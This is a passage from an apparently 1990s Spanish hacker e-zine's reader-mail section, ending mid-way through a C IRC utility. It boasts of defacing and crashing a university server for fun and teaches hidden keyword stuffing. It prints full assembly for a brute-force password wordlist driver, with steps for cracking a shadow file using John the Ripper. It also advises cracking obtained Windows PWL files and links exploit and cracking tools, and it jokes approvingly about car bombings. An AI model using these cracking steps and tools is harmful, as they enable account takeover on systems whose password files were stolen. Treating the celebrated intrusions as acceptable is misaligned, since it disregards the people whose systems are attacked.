 Actualmente los medios de almacenamiento mas usados son los discos magneticos
 como el que probablemente tengas dentro de tu PC. Estos discos estan
 compuestos por un disco plano de aluminio o vidrio recubierto con un material
 que guarda cargas magneticas correspondientes a valores binarios 0 y 1. El
 esfuerzo que se ha puesto ultimamente en crear discos magneticos cada vez
 de mas capacidad tiene que terminar algun dia en lo que los fisicos llaman
 "el limite superparamagnetico". Cualquier intento en ir mas alla de este
 limite ocasionaria que un cero resultara uno y un uno un cero lo que
 ocasionaria que un comando hiciera otro comando y el otro otro...
 La alternativa? Hologramas! Un cubo no mayor que un grano de sal que contenga
 informacion almacenada en luz puede guardar mas de un millon de paginas
 y la informacion podra ser accesada inmediatamente.
 Mas informacion sobre este asombroso tema en el proximo numero...

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

" La violencia no lleva a nada .. excepto cuando hablamos de una revolucion. "
                                                                Lennin/Marx
 " Hay ocasiones donde la violencia lo resuelve todo para los oprimidos... "
                                                                El `Che'
                  " Un NO al dialogo es un SI a la violencia."
                                                                Zapatistas
   " Si ETA dejara de hacer coches bomba, quien se acordaria de ellos? "
                                                                RareGaZz


\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%


                             + B O O M E R A N G +
                                ^ ^ ^ ^ ^ ^ ^ ^ ^
    " Tu linea de comunicacion (lenta pero segura) con el Underground "

 Esta seccion nos sigue sirviendo para responder a sus preguntas y poner
 las colaboraciones o comentarios que se salen de cualquier otra seccion.

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\

 De: RareGaZz

 Nuestra lista de correo tiene demasiadas direcciones de email asi que si
 nos quieres ayudar, en caso de que tengas mas de una direccion tuya en
 nuestros registros envia un mail solicitando removerlas. Ayuda a eliminar
 la basura electronica. gracias.
 Por otro lado, raregazz se enorgullece en poner a su dispocision en nuestro
 `mirror site' en raregazz.islatortuga.com software tres equis y con el
 tiempo esperamos poner algunos links "chistosos". Debido a las restricciones
 no podemos poner links o software de este tipo en geocities.

 Respecto al hack en http://www.sal.itesm.mx le pedimos al autor (azumlord)
 que nos explicara sobre el mismo y nos dice:

 " Bien el hack ocurrio a las 2:00 p.m. el 27 de Septiembre,la pagina fue
   corregida al dia siguiente y el servidor duro caido 4 dias. la verdad lo
   hize con fines unicamente de diversion ademas de que en ese mismo servidor
   encontre archivos en uno de los directorios de los administradores, en
   los cuales al parecer estaban haciendo una tesis sobre seguridad y
   hackers. };-) "
 
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\

 Hi rare me pregunto si podrias publicar el siguiente mensaje...

 Estoy a punto de lanzar una BBS (Renegade) en Ensenada donde tendre las
 ultimas noticias de RareGaZz asi como tambien MUCHO software necesario para
 internet y distintas aplicaciones. Comunicate conmigo para ser informado
 cuando este arriba y funcionando esta BBS. En esta misma ciudad estoy
 pensando organizar una reunion de 2 noches donde podamos juntarnos todas
 las personas de por 'aca (ensenada,tijuana,mexicali). Si estas interesado
 mandame un mail y te dare mas detalles y la lista de asistencia que incluye
 algunos colaboradores de raregazz. Tropi(c)o
 tr0p1c0@hotmail.com

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\

Hola.

El otro dia estaba mirando por la Web, y sorpresa! encontre vuestra
revista, bueno, vuestras 8 revistas. Es la mejor revista de este tema que
he podido encontrar. Pero queria proponer, si es posible cambiar el formato
de la revista. Quiero decir, si seria posible por ejemplo, publicarla en
Acrobat, y asi poder enlazar los indices con los temas y que sea mas
grafica. Los lectores, podriamos imprimirlas (o guardarlas en el disco)
para su futura lectura.

Un saludo y espero ansiadamente el 9 volumen.

 [ Las razones por las que no hemos cambiado el formato del zine son
   `compatibilidad' y `tamao'. Con Acrobat este mismo texto ocuparia mas
   de 1 mega y con images serian 1 o 1.5 megas por numero...demasiado.    ]

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\

Desaria que me ayudaras con un problema que tengo.
Yo estoy encargado de publicar varias paginas web de algunas compaias aqui en Costa Rica, y como sabras entre mas arriba
esten en las busquedas con los browser, mas visitas estaran, y los clientes estaran contestos.
Pero, realmente no tengo mucha informacion sobre TRUCOS PARA iNDEXAR y asi poder salir mas arriba que la competencia.
Te agradeceria muchisimo, se me pudieras ayudar en algo. Al mismo tiempo yo te presto toda mi ayuda, tengo muchos
conocimientos en Unix, hacking y negocios productivos.
 
Espero tu pronta respuesta,

[ Mira en estados unidos existen infinidad de personas que cobran entre 30 y
50 dolares por poner algun sitio entre los primeros resultados de las
maquinas de busqueda. como lo hacen? simple. Siguen unas instrucciones muy
faciles de seguir que espero te ayuden en algo.

 .No usar META tags.- La mayoria de los programas creadores de paginas web
 insertan etiquetas META que definen el contenido de una pagina. Estas
 etiquetas fueron creadas para evitar que una pagina se mostrara en las
 maquinas de busqueda sin contener un tema relativo a las palabras buscadas.
 Como lo que queremos es precisamente eso, es decir, que la pagina que
 queramos indexar aparezca la mayor cantidad de veces posible entonces
 debemos eliminar las meta tags.

 .indexar TODO el site.- Un website tiene entre 20 y 25 paginas web y
 unicamente una pagina principal. Un grave error es indexar unicamente la
 primera pagina y desear que aparezca entre los primeros. Obviamente para
 que este truco sea efectivo deberas seguir estas recomendaciones: Las
 paginas que vayas a indexar deberan ser las que sean permanentes o que
 por lo menos parezca que estaran mas tiempo. Todas las paginas indexadas
 deberan llevar el mismo encabezado (definido en <HEAD>) de preferencia
 conteniendo el nombre de la compaia sin importar que una hoja sea para
 insertar comentarios o una simple lista de productos. Siempre en las hojas
 indexadas debera estar visible un link a la pagina principal. Todas las
 paginas indexadas deberan contener una descripcion del sitio o la compaia
 que no sea visible para el navegador pero si para la maquina indexadora.

 .insertar comentarios invisibles.- Esta es una de las armas mas poderosas
 contra la competencia. Los comentarios invisibles se insertan asi:

<HTML>
<HEAD><TiTLE>COMPAiA EQUiZ</TiTLE>
<!-- Aqui debes poner una descripcion de aproximadamente unos 3 o 4 renglones
     de la compaia que sera mostrada en las maquinas de busqueda. Despues de
     esta descripcion elige las palabras que quisieras usar como palabras
     clave. Por ejemplo. HACK CRACK HACKER RAREGAZZ EZiNE MAGAZiNE E-ZiNE
     HACK CRACK HACKER EZiNE MEXiCO virus RAREGAZZ hacker zine e-zine magazine
     mexico crackers cracks hacks zines virii codigo code hack raregazz zine
     Procura no poner dos veces o mas la misma palabra despues de la otra.
     Haciendo esto puedes llenar unos 5 renglones.    -->
</HEAD>
<!-- Aqui debes poner una descripcion de aproximadamente unos 3 o 4 renglones
     de la compaia que sera mostrada en las maquinas de busqueda. Despues de
     esta descripcion elige las palabras que quisieras usar como palabras
     clave. Por ejemplo. HACK CRACK HACKER RAREGAZZ EZiNE MAGAZiNE E-ZiNE
     HACK CRACK HACKER EZiNE MEXiCO virus RAREGAZZ hacker zine e-zine magazine
     mexico crackers cracks hacks zines virii codigo code hack raregazz zine
     procura no poner dos veces o mas la misma palabra despues de la otra.
     Haciendo esto puedes llenar unos 5 renglones.    -->
<body>

 Poner lo mismo despues del encabezado y antes de la etiqueta BODY es una
 buena idea! Obviamente CADA UNA de las paginas indexadas debera tener
 diferentes palabras clave pero el mismo comentario inicial de 3 o 4 renglones
 para evitar que en la descripcion del sitio aparezcan todas las palabras
 claves.

 Por ultimo no esperes que cuando hagas esto al dia siguiente aparezca tu
 sitio entre los primeros. HotBot se actualiza cada semana, mientras que
 infoseek actualiza su base de datos dos veces al mes y asi...  ]

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\

 para mi todos ustedes son unos adictos sin nada que hacer deberian invertir
 su tiempo en algo que les diera ganancias no nomas llenando los campos
 magneticos de basura. basura electronica son ustedes..

 [ eehhhh....gracias. Adictos? Al hack, a internet, a escribir, a no dormir,
   a vivir, a expresarnos, a no ir a la escuela, a las computadoras, a las
   chicas lindas, al amor, a la coca, LSD, peyote o marijuana??? X-) hash.,]

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\

Quisiera pedirles un favor, y es respecto a unas dudas que tengo
Aparece en Minotauro #8 este encabezado.

PASTEADO...(Minotauro.008)
......................................................................
; Virus de ejemplo para Minotauro Magazine

; NOTA: Se tiene que compilar con el A86, el cual generara
; un archivo .BiN  que se debe copiar al sector de BOOT de 
; un disco de HD.  El  BOOT original de ese disco, hay que 
; ponerlo en el SEC 14, CYL 0, LADO 1. Listo!, el virus ya
; esta listo para ser ejecutado.
;                                    Bugs Bunny [DAN]
......................................................................

Mis preguntas son: 
como diablos copio un archivo .bin al BOOT???
Es esto lo que hace en realidad un virus infeccioso de BOOT???
como hago para relocalizar el BOOT al SEC 14, CYL 0, LADO 1???

 [ La respuesta envienla a  raregazz@bigfoot.com gracias. ]

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\

>>
>> WiNZiP 6.3 32bits
>> ~~~~~~~~~~~~~~~~~
>> La mejor compresion de datos con la capacidad de guardar archivos con
>> nombres largos y crear autoexecutables para windows 95. Los botones son
>> unas graciosas graficas en 3D. Sin duda el mejor programa de compresion.
>> Disponible en www.winzip.com y el codigo de registro esta en los numeros
>> anteriores de la revista.
>>

 En el numero 7 aparecio una revision de software que solicite a un amigo
 como una forma de colaboracion. Pues bien, mi amigo no fue objetivo y se
 dio el gusto de nombrar a winzip como "el mejor compresor disponible" cosa
 que carece de veracidad. Para reponer este error ya que cada texto que sale
 en la revista representa nuestro punto de vista me di a la tarea de hacer
 una prueba de compresion y publicar los resultados.
 Los programas que entraron a la prueba son:

    HA.EXE por Harri Hirvola version 0.98
   BSA.EXE por PTS Ltd. version 2.00
 PKZiP.EXE por PKware inc. version 2.50 Windows 95
   ARJ.EXE por Robert K Jung version 2.10
   RAR.EXE por Eugene Roshal version 2.00
 LHARC.EXE por Haruyasu Yoshizaki version 1.14beta
WiNZiP.EXE por Nico Mak version 6.3 Beta

 Todos fueron puestos en modo "maxima compresion" excepto en los casos en que
 esta funcion aumentaba el tamao de los archivos como sucedio en ocasiones
 con los compresores HA.EXE y BSA.EXE

 Resultado de las pruebas:

 Compresor  Parametros     Objetivo (bytes)    Resultado (bytes)

  HA.EXE     ha a012        BMP's  18,562           10,129
 BSA.EXE     bsa a -++      BMP's  18,562           10,528
 RAR.EXE     + GUi +        BMP's  18,562           11,828
 ARJ.EXE     arj a -m1      BMP's  18,562           12,253
 PKZiP.EXE   + GUi +        BMP's  18,562           12,374
 WiNZiP.EXE  + GUi +        BMP's  18,562           12,420
 LHARC.EXE   lharc a        BMP's  18,562           12,461

* Las palabras GUi significa que fueron usados programas con interfaz grafica
  que usaban la rutina de compresion mencionada.

 Los programas usados para la prueba los puedes encontrar todos juntos en
 el archivo http://raregazz.islatortuga.com/compress.zip o en la pagina de
 software (no incluye winzip ni pkzip).
 Para mas informacion y anuncios sobre programas de compresion puedes visitar
 la siguiente direccion: http://www.davesite.com/computers/compress.shtml

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\

Hola !!!!
Primero y antes de nada felicitaros por la pedaso de revista que haceis.
y ahora a lo que venia
Tengo problemas para compilar el hackdrv.sys con TASM y quisiera que me
explicarais como hacerlo.
(no me envieis E-MAiL ponedlo en la revista, hay mucha gente que no sabe
como hacerlo ;) ) Gracias de mi parte y de todos los demas que quieren
saberlo.

[ En la revista numero 2 damos el codigo para una lista de palabras residente
  en memoria ideal para ataques en bruto y olvidamos dar las instrucciones
  para compilarlo o modificarlo. Pues bien el codigo que sigue entre los
  puntos esta diseado para ser una lista de 5 caracteres empezando desde
  aaaaa y terminando en zzzzz. Para compilar usa el comando a86.com disponible
  en el archivo http://raregazz.islatortuga.com/tasm.zip La sintax es:
  "a86 hackdrv.asm hackdrv.com" despues renombra el archivo hackdrv.com a
  hackdrv.sys e incluye la linea "DEViCE=C:\HACKDRV.SYS" en el config.sys
  Ahora usa el programa JOHN THE RiPPER asi para usar la lista de palabras:
  "JOHN -PWFiLE:SHADOW -WORDFiLE:HACKPWD.SYS -LiST" el archivo shadow debe
  contener los passwords encriptados y el archivo hackpwd.sys esta en memoria.
  cuando termines de crackear o hagas un break debes modificar el archivo
  HACKDRV.SYS usando un editor hexadecimal para que continue la proxima vez
  que reinicies el sistema donde te hayas quedado. OjO esto es importante.
  Otra cosa, debes compilar el codigo varias veces dependiendo de cuantos
  caracteres quieres que sea la lista, en el numero 2 la lista es de 6
  caracteres pero el siguiente codigo es unicamente para crear la lista de
  5 caracteres. Happy Hacking.
..............................................................................
;Program HACKDRV.SYS
;
org 0h
next_dev dd -1
attribute dw 0c000h            ;character device w/ ioctl calls
strategy dw dev_strategy
interrupt dw dev_int
dev_name db 'HACKPWD '
countr dw offset number
number db 'aaaaa',0ah         ;<---- 5 caracteres en minusculas (empiezo)
numsize equ $-number - 2
afternum:

;working space for device driver
rh_ofs dw ?
rh_seg dw ?

dev_strategy:               ;strategy routine
mov cs:rh_seg,es
mov cs:rh_ofs,bx
retf

dev_int:                    ;interrupt routine
pushf
push ds
push es
push ax
push bx
push cx
push dx
push di
push si

cld
push cs
pop ds

mov bx,cs:rh_seg
mov es,bx
mov bx,cs:rh_ofs

mov al,es:[bx]+2
rol al,1
mov di,offset cmdtab
xor ah,ah
add di,ax
jmp word ptr[di]


cmdtab:            ;command table
dw init        ;0
dw exit3       ;1
dw exit3       ;2
dw ioctl_read  ;3
dw do_read     ;4
dw exit3       ;5
dw exit3       ;6
dw exit3       ;7
dw exit3       ;8
dw exit3       ;9
dw exit3       ;10
dw exit3       ;11
dw ioctl_write ;12
dw exit3       ;13
dw 5 dup (offset exit3)



ioctl_read:
push es
push bx

mov si,es:[bx+10h]
mov di,es:[bx+0eh]
mov es,si

push cs
pop ds
mov si,offset number
xor cx,cx

get_char:
lodsb
stosb
inc cl
cmp al,0ah
jz ioctl_rend
jmp get_char

ioctl_rend:
pop bx
pop es
mov es:[bx+012h],cx
mov cs:countr,offset number
jmp exit2

ioctl_write:
push es
push bx
mov si,es:[bx+010h]
mov ds,si
mov si,es:[bx+0eh]
mov cx,numsize+1               ;es:[bx+012h]
push cs
pop es
mov di,offset number
repe movsb
pop es
pop bx
mov cs:countr,offset number
jmp exit2


do_read:
push es
push bx


push cs
pop ds

mov si,[countr]
inc si                      ;word ptr [countr]
cmp si,offset afternum
jnz is_okay
mov si,offset number
call inc_num


is_okay:
mov [countr],si
mov di,es:[bx]+0eh
mov ax,es:[bx]+010h
mov cx, es:[bx]+012h
jcxz clean_up
mov es,ax
repe movsb

clean_up:
pop bx
pop es
jmp exit2


exit3: mov es:word ptr 3[bx],08103h
jmp exit1

exit2:
mov es:word ptr 3[bx],0100h

exit1:
pop si
pop di
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
popf
retf
exit:

inc_num proc near
 push si
 mov si,numsize

 reiterate:
  inc byte ptr [number+si]
  cmp byte ptr [number+si],'z'+1    ;+1 past ending char. in range
  jnz _exit
  mov byte ptr [number+si],'a'      ;starting char. in range
  dec si
  cmp si,-1
  jnz reiterate
  mov byte ptr [number],01ah        ;send EOF
 _exit:
  pop si
  ret
inc_num endp



at_eof:                        ; the non-resident code starts here

initial proc near
push es

push cs
pop ds

push cs
pop es

mov si,offset number
mov di,offset tmpnum
cld
_again:
lodsb
cmp al,0ah
jz _nomorechars
stosb
jmp _again

_nomorechars:
mov si,offset msgend
mov cx,4
repe movsb

mov ah,09             ;print welcome message
mov dx,offset msg1
int 21h

pop es
ret
initial endp

init: call initial
mov ax,offset at_eof
mov es:[bx]+0eh,ax
push cs
pop ax
mov es:[bx]+010h,ax
mov cs:word ptr cmdtab,offset exit3
jmp exit2


msg1    db "incremental Password Generator (c)1995",0ah,0dh
        db "Written by Uncle Armpit",0ah,0dh,0ah,0dh
        db "Starting at word ["
tmpnum  db 10 dup (?)
msgend  db "]",0a,0d,'$'
;END hackdrv.sys
..............................................................................

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\

tengo problemas para manejar el Jonh the Ripper, me prodria mandar algun
ejemplo del mismo. Es de mi mayor interes saber como se usa, ya que he
conseguido algunos archivos PWL del windows 95 y no puedo desencryptarlos.

 [ Para desencriptar los PWL de windows 95 es necesaria otra utilidad no
   john the ripper. El programa GLiDE sirve para eso y lo puedes encontrar
   en la pagina de software de la revista o haciendo click en el siguiente
   link: http://raregazz.islatortuga.com/glide.zip ]

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\

Estoy viendo un programa mexicano llamado: fuera de la ley, es muy feo,
pregunta: tan mal esta la situacion por alla ?

 [ Aqui esta la situacion tan mal por causa de esos estupidos programas
   amarillistas. Tienen razon en Mexico existe la delincuencia, hay colonias
   donde pasar en carro sin una nueve milimetros cargada es suicidio pero
   no es la unica parte donde sucede esto... o si? ]

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\

Les recomiendo esta pagina www.ntshop.net aqui encontraran bugs & 
exploits para Win NT y http://www.l0pht.com/advisories.html donde 
encontraran el L0phtCrack 1.5 y el netcat 1.10. Azumlord.

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\

Por favor, pasaros por la siguiente direccion, cuando podais, os lo digo
porque puede ser de interes el programa llamado Private idaho, hay muchas
utilidades para el PGP y este programa es una de ellas.
http://www.eskimo.com/~joelm
http://www.cs.berkeley.edu/~raph/remailer-list.html

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\

El proposito de este email es mencionarte un proyecto que desde siempre
hemos intentado todos y por el que voy a intentar luchar (y espero que
tambien vosotros). Este no es otro que el de unir el mundo hack, warez,
phreak, virus, etc.. en un anillo underground que conformaremos todos los
que siempre hemos estado aqui.
Gracias a islatortuga esto esta cada vez mas cerca pero gente como tu es la
que la puede sacar adelante, de ahi que me ponga en contacto contigo. 
La idea es la creacion de un magazine. Como creador de magazine estaras
pensando.. otra mas.. buff.. no conseguiremos nada... Espero que estes
equivocado si piensas eso.
Estamos trabajando desde hace unos dias en una web y en una distribucion de
trabajo. En este email te incluyo un htm (el que tengo metido en mi web) y
un txt que espero que leas.
Espero que consideres esto pues es con personas como tu como podemos
conseguir esto por tu prestigio y por tu vida en este mundillo.
Los que hemos empezado con esto tampoco somos gente salida de la nada,
je,je... (hombre si pero..) aunque no con tanta fama. Somos los creadores de
las magazines Hwarez (anecdotica e informativa) y Mafia Magazine (Basada en
el fenomeno warez).
Por lo demas, todo depende de ti. Confiamos en que te agrade la idea y que
pronto te unas, e incluso encamines este proyecto.
Otra cosa que quiero mencionar, antes de que se me olvide, es que como estas
embarcado en alguna otra magazine, con esto tampoco pretendo que se fundan
todas las magazines existentes hasta el momento. Es decir, las magazines
llevaran rumbos diferentes... pues no hay mejor cosa que variedad donde
elegir, y debido a la distribucion de trabajo que se pretende conseguir, se
podria seguir perfectamente el trabajo de la otra, dedicandole el tiempo
necesario a esta :)))
(Yo, por ejemplo, voy a seguir realizando en mis ratos libres Hwarez). Ah, y
si puedes.. comentale esta idea a mas personas de nuestro mundillo.

 [ Esta propuesta es interesante y dificil de realizar por razones obvias
   y claras. PERO citare una frase que espero comprendan:

   " Si lo que deseas no lo haces, al paso del tiempo te percataras que
     pasaste como si no hubieses pasado. Veras que eres, al igual que todos,
     uno mas (o uno menos); uno en fin, sin importancia. En ese sentido se
     le da a la vida un valor que no puede tener. Esta bien, enfrentate al
     mundo ahora que es tiempo, pues la satisfaccion no la daran ni el
     fracaso ni el triunfo, sino haber vivido.
     Si todo es preciso arriesgarlo, arriesgalo todo, con la plena conciencia
     de que lo puedes perder, pero: No es mejor intentar un salto, a ser
     expectador de alguien que lo intenta?
     Uno siempre desea hacer mucho, y por falta de valor, o incluso porque
     el sentido comun seala su imposibilidad, no lo intentamos; y es que
     verdaderamente, a cada hora, a cada instante, millones de hombres desean
     el triunfo y nada mas uno, entre un millon, lo alcanza. Quien nos puede
     dar la seguridad de que nosotros si lograremos llegar? Arriesgar todo,
     sin reservas, es un riesgo enorme. La prudencia nos indica buscar lo
     seguro y solo dedicar al `riesgo' el tiempo libre.
     -Es prudencia o temor al fracaso el no intentarlo?
     -Es valor o pueril ilusion el intentarlo?
     Nadie, sino aquel que busca nuevos horizontes, arriesgandolo todo, es
     quien conoce el verdadero exito...o el verdadero fracaso. Nunca puede
     fracasar quien nunca intenta nada. "

   Salud! por el nuevo magazine llamado TrashDeeper. Suerte y cuenten con
   sus camaradas de RareGaZz para cualquier cosa. Mas informacion sobre el
   proyecto en: http://www.redestb.es/personal/cyberice
   RareGaZz ya creo un grupo especial formado por Azumlord, VoV_77, Orion,
   Arkangel, WarFare  y yo mismo que representara a RareGaZz en ese zine.
   Si quieren comentar sobre nuestra participacion en TrashDeeper escriban
   a RAREMAG@HOTMAIL.COM ]

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\

Bueno, ahora los voy a molestar nuevamente, lo que sucede es que mi
novia tiene un problema con la red y parece que es un virus...  El nombre de
este parece ser PAC.
Yo quisiera saber, si de pronto alguno de ustedes podria colaborarme,
informandome donde puedo encontrar la vacuna o que de pronto ustedes la
tengan y me la faciliten, sera que es posible?

 [  Alguien tiene alguna idea ??? ]

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\

Aqui van algunas herramientas que a mas de uno ayudara...

Sirven para linux (no lo he probado en otro sistema)

/* linkfind.c------------------------------------------------------------------
 * Link Finder -- version 1.00b
 * by Crypt Keeper [ckeeper@axiom.access.one.net]
 *
 * Polls all IRC servers on an iRC network to find those that you are
 * allowed to connect to.
 *
 * This program is free software.  it is distributed as-is with no
 * warranties of any kind, and may be freely copied or modified as long
 * as you give me credit. :) */

/* Revision history:
 *    1.00b - First release */

/* Here's a bit of a FAQ.. a short one:
 *
 * Q: Why does it hang when it's getting the list of server names?
 * A: This can be slow.  When you run link finder, try to pick a fast
 *    server to get the list from.  Even then, this can take a while
 *    and netsplits can interfere.  Try different servers, or try re-running
 *    the program.  Remember that you can write your list to a logfile, so
 *    you really only need this once.  The list of servers that you can
 *    connect to is not going to change very often.  Also, if you aren't
 *    worried about polling _every_ server you could try -notunnel.
 *
 * Q: i use -fork and i don't see anything
 * A: -fork allows link finder to run in the background, silently, and
 *    log to a file.  This means that you could even leave it running on
 *    a system and log out.  -fork requires either (or both) -l and -a to
 *    be specified.  The program does not fork until it starts polling
 *    servers.
 *
 * Q: it won't compile!
 * A: Port it to whatever you're on or find someone who can, and mail me
 *    the ported copy, or a diff, or something. */

/* To compile:
 *
 * Linux (and probably most Posix-compliant systems with gcc):
 *   gcc -O2 -fomit-frame-pointer -s -pipe -o linkfind linkfind.c
 *
 * Other systems try:
 *   gcc -O -s -o linkfind linkfind.c
 *   gcc -o linkfind linkfind.c
 *   cc -o linkfind linkfind.c
 *
 * This (or some variation of it) might work on HP/UX:
 *   cc +O3 -Aa -s -D__HPUX__ -o linkfind linkfind.c
 *
 * On some systems you may need to compile with one or more of these:
 *   -lsocket -lresolv -lucb -lnsl
 *
 * You can ignore warnings as long as you get a working binary.
 *
 * i can only personally test this on Linux, so i can't guarantee it'll
 * compile on anything else.  if someone else wants to add some more
 * defines to get this to compile on other systems, be my guest.  if
 * you do, i'd appreciate if you mail me the changes so i can release a
 * new version. */

/* Un-Comment this if your system does have strerror() */
/* #define HAS_STRERROR */

#ifdef __HPUX__
#define _iNCLUDE_HPUX_SOURCE
#define _iNCLUDE_XOPEN_SOURCE
#define _iNCLUDE_POSiX_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <signal.h>
#include <errno.h>
#include <string.h>
#include <pwd.h>

/* Prototypes */
void do_help(char *whoami);
int connectout(char *hname,int portnum,int timeout);
char *my_strerror(int errornum);
void access_denied(char *servername,char *reason,char *tag);
void access_accepted(char *servername);
void process_motd(char *motd_line,char *servername);
void parse_server_line(int plug,char *servername,char *line_from_server);
char *randjunk(int len);
void try_server(char *servername);
int get_links(char *servername,int serverport);
void signal_handler(int signum);
void main(int argc,char *argv[]);
int _wild_match(unsigned char *mask,unsigned char *string);
int wild_match(char *pattern,char *str);

/* Global variable init */
int motd_pointer = 0;                         /* Used in process_motd() */
struct configstruct {
        int serverport;                    /* Port for test connections */
        int connect_timeout;      /* Timeout for test connections (sec) */
        char tunnel_foreign;                  /* Tunnel *.fi type stuff */
        char do_motd_writes;                        /* Write motd files */
        FiLE *logfile;                                       /* Logfile */
        char logging;                                       /* Logging? */
        FiLE *rawfile;                          /* Raw server list file */
        char raw_logging;                   /* Writing raw server list? */
        char run_background;                      /* Run in background? */
} my_config;
struct servstats {
        int naccepted;
        int ndenied;
        int nerror;                        /* For statistics at the end */
} my_stats;
char serverlist[512][128];           /* List of all server names on net */
char *my_username;        /* Whatever your username is determined to be */
unsigned char no_show_error = 0;      /* Used in try_server and parsing */

#ifndef errno
extern int errno;
#endif

/* Macro that sends text to a server */
#define outserv(p,s) send(p,s,strlen(s),0)

/* Help message */
void do_help(char *whoami)
{
        printf("Usage: %s [options] server[:port#]\n\n",whoami);
        printf("Available options:\n");
        printf("   -l filename                   - Output all findings to log file\n");
        printf("   -a filename                   - Output plain list of servers\n");
        printf("                                   that accept you to a file\n");
        printf("   -[no]tunnel    [default=on]   - Tunnel into *.domain links\n");
        printf("   -[no]motd      [default=off]  - Write working server MOTDs to\n");
        printf("                                   files named after each server\n");
        printf("   -[no]fork      [default=off]  - Run in background (-l and/or -a reqd)\n");
        printf("   -t timeout     [default=60]   - Set trial connection timeout (secs)\n");
        printf("   -p port#       [default=6667] - Set trial connection port number\n\n");
        printf("The server is any server you have access to use.  if no port is specified\n");
        printf("port 6667 is used.  The -a and -l options may be used together.\n");
        exit(0);
}

/* Connects to a remote host on the net */
int connectout(char *hname,int portnum,int timeout)
{
	struct hostent *host_name;
        struct sockaddr_in socketname;
        int plug;
	
        if ((plug = socket(AF_iNET,SOCK_STREAM,0)) < 0)
		return -1;
        socketname.sin_family = AF_iNET;
        if ((host_name = gethostbyname(hname)) == (struct hostent *)NULL)
		return -2;
        socketname.sin_port = htons(portnum);
        memcpy(&socketname.sin_addr,host_name->h_addr,host_name->h_length);
        alarm(timeout);
        if ((connect(plug,(struct sockaddr *)&socketname,sizeof(socketname))) < 0)
	{
                if (errno == EiNTR)
                        errno = ETiMEDOUT;
		alarm(0);
		return -3;
	}
	alarm(0);
	return plug;
}

/* To make it easy to compile on systems without strerror() */
char *my_strerror(int errornum)
{
#ifdef HAS_STRERROR
	return strerror(errornum);
#else
#ifdef sys_errlist
        return sys_errlist[errornum];
#else
	return "Unknown error";
#endif
#endif
}

/* These two do the logging and/or output for each test */
void access_denied(char *servername,char *reason,char *tag)
{
	char buff[128];
	
        if (strlen(tag) == 6)
                sprintf(buff,"[%s]   %s (%s)\n",tag,servername,reason);
        if (strlen(tag) == 5)
                sprintf(buff,"[%s]    %s (%s)\n",tag,servername,reason);

        if (my_config.logging) {
                fprintf(my_config.logfile,buff);
                fflush(my_config.logfile);
	}
        if (!my_config.run_background) {
                printf(buff);
		fflush(stdout);
	}
}
void access_accepted(char *servername)
{
